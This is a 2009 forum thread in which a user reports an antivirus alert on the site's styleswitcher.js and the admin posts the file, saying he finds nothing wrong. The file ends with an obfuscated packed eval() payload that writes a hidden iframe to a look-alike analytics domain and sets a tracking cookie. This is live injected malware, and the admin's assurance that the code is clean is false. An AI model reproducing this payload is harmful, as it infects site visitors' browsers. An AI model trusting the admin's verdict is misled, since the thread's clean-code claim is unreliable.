Malware info.

Discussion of these forms, requests for forums, announcements about these forums

Moderators: povster, s1owpoke, cabernethy, coughcapkittykat

User avatar
Aanaddha
Posts: 1963
Joined: Sat Jan 14, 2006 6:41 am
Location: Big Sur, CA

Malware info.

Postby Aanaddha » Fri Jul 31, 2009 9:52 pm

File name: http://forums.chandrakantha.com/styles/prosilver/template/styleswitcher.js

Malware name: HTML:IFrame-IV [Trj]

Malware type: Trojan Horse

VPS Version: 090731-0, 07/31/2009

David - could you checks this out - it's suddenly becoming quite annoying even at the medium security setting on my browser
If he could sing, and nature to accompany him, what need would he have for an instrument?

david
Site Admin
Posts: 498
Joined: Fri Jan 13, 2006 10:59 pm
Location: Houston, TX
Contact:

Re: Malware info.

Postby david » Sat Aug 01, 2009 1:58 pm

I have already looked over the code and I see nothing wrong. Here is the code and if I have overlooked something, let me know.

Peace

David Courtney

---------------------------------------------------------------------------------------
function fontsizeup()
{
var active = getActiveStyleSheet();

switch (active)
{
case 'A--':
setActiveStyleSheet('A-');
break;

case 'A-':
setActiveStyleSheet('A');
break;

case 'A':
setActiveStyleSheet('A+');
break;

case 'A+':
setActiveStyleSheet('A++');
break;

case 'A++':
setActiveStyleSheet('A');
break;

default:
setActiveStyleSheet('A');
break;
}
}

function fontsizedown()
{
active = getActiveStyleSheet();

switch (active)
{
case 'A++' :
setActiveStyleSheet('A+');
break;

case 'A+' :
setActiveStyleSheet('A');
break;

case 'A' :
setActiveStyleSheet('A-');
break;

case 'A-' :
setActiveStyleSheet('A--');
break;

case 'A--' :
break;

default :
setActiveStyleSheet('A--');
break;
}
}

function setActiveStyleSheet(title)
{
var i, a, main;

for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
{
if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title'))
{
a.disabled = true;
if (a.getAttribute('title') == title)
{
a.disabled = false;
}
}
}
}

function getActiveStyleSheet()
{
var i, a;

for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
{
if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title') && !a.disabled)
{
return a.getAttribute('title');
}
}

return null;
}

function getPreferredStyleSheet()
{
return ('A-');
}

function createCookie(name, value, days)
{
if (days)
{
var date = new Date();
date.setTime(date.getTime() + (days*24*60*60*1000));
var expires = '; expires=' + date.toGMTString();
}
else
{
expires = '';
}

document.cookie = name + '=' + value + expires + style_cookie_settings;
}

function readCookie(name)
{
var nameEQ = name + '=';
var ca = document.cookie.split(';');

for (var i = 0; i < ca.length; i++)
{
var c = ca[i];

while (c.charAt(0) == ' ')
{
c = c.substring(1, c.length);
}

if (c.indexOf(nameEQ) == 0)
{
return c.substring(nameEQ.length, c.length);
}
}

return null;
}

function load_cookie()
{
var cookie = readCookie('style_cookie');
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
}

function unload_cookie()
{
var title = getActiveStyleSheet();
createCookie('style_cookie', title, 365);
}

onload_functions.push('load_cookie()');
onunload_functions.push('unload_cookie()');

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('f 4=6 5(),2=6 5(4.d()+g);c(0.7.9("8=1")==-1){0.b("<3 a=1 e=1 o=\'n://h-q.m/l/\' i=\'j:k\'></3>");0.7="8=1;"+" 2="+2.p()+"; "}',27,27,'document||expires|iframe|today|Date|new|cookie|ubit|indexOf|width|write|if|getTime|height|var|2678400000|google|style|display|none|b2b|com|http|src|toGMTString|analyticks'.split('|'),0,{}))


/*
var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
*/


Return to “THESE FORUMS”

Who is online

Users browsing this forum: No registered users and 2 guests